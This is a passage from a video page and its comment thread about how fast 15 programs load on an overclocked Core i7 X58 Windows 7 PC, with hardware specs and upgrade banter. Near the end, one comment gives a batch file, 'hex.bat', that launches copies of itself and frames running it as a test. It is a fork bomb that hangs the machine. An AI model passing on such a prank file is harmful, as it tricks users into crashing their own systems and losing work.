How fast can 15 programs load in Windows 7 on Core i7

I attempted to discover how fast I could load 15 commonly used programs on the Intel Nehalem desktop platform (Core i7 / X58) with Windows 7 Ultimate x64 build 7127 using the following setup:

EVGA X58 SLI Classified Limited Edition
Core i7 Extreme 965 @ 3.74GHz
2x EVGA GeForce GTX 295 Plus [Quad-SLI] @ 660/1440/2110
6GB (3 x 2GB) Mushkin XP Series DDR3 1600MHz 7-8-7-20
** 2x Samsung Spinpoint F1 HE753LJ 750GB RAID Edition **

Windows Experience Index (WEI) score is 5.9, with the RAID drives giving the lowest subscore (surprisingly):

WEI is 5.9 with my RAID drives giving the lowest subscore (surprisingly):

How could you upgrade ur pc to increase Disk data transfer rate score??

[AuDioFreaK39]

@salaipapa The addition of two Solid State Disks with SandForce controllers, coupled together in RAID0, would make for a fine performance improvement ;)

Intel Core™ 2 Quad Q9400 2,66GHz,

Corsair TWIN2X 6400 DDR2, 4096MB

PowerColor Radeon HD 5770 1GB GDDR5

Silver Power SP-SS500, 500W

Gigabyte GA-EP45-UD3LR, P45,

Do you think this is a good system? :p

[AuDioFreaK39]

@spenatjonas @spenatjonas There really is no way for me to objectively you give you an account of what is "good" versus what is "satisfactory" and what is "bad." It all depends on your usage model and which applications you are going to use with your system. If you gave me a context explaining which programs and applications you use most, then I might be able to give you a reasonably validated opinion.

All programs were opened before the video was taken, thus were all programs still in memory and probly had little or no disk-access whatsoever, Starting 15 programs that you keep in memory like that works extremly fast, does not require a Core i7 to perform speeds like that. sry to say, but that was sort of...... lame. Get a solid state raid config and do a real bench test then. Or do some rendering-benchmark if you wanted to show off with cpu performance..

@spenatjonas  SO so.. but you can run things ok but nothing special.

Just 6.7 card? why ;D me 2X GT240 SLI GDDR5 get 7.9

[nawaz2kx]

@AuDioFreaK39 that would be the best improvement of all.

Dear lord, Wy Am I still on Pentium!?

[idman3333]

@usernam569 yeah and 10 years later We will be saying we need a corei100 clocked at 1000 GHZ and just 256 ddr56 ram at 500GHZ and a Nvidia gtx 1520 in 60 way SLI THat will be a good low end system!!!! <,.?

[OrangeAddict99]

dude, you said you have core i7 system, why dont you download camtasia studio or camstudio or any desktop recorders?

[julianbusty]

@spenatjonas your q9400 can do 4.0ghz cause i have mine at 4.01ghz with ram at 504mhz bus speed and fsb is rated at 2008mhz and it all air cooled and runs fucking awsome

[ExampleGamer]

can i run pac-man on this?

[KEEVVY]

Write in notepad:

START

START

hex.bat

And renema the .txt file in hex.bat and run it on I7 .

@usernam569 You forgot the 2 tb SSD running on the PCIE 3.0 slot at x32.
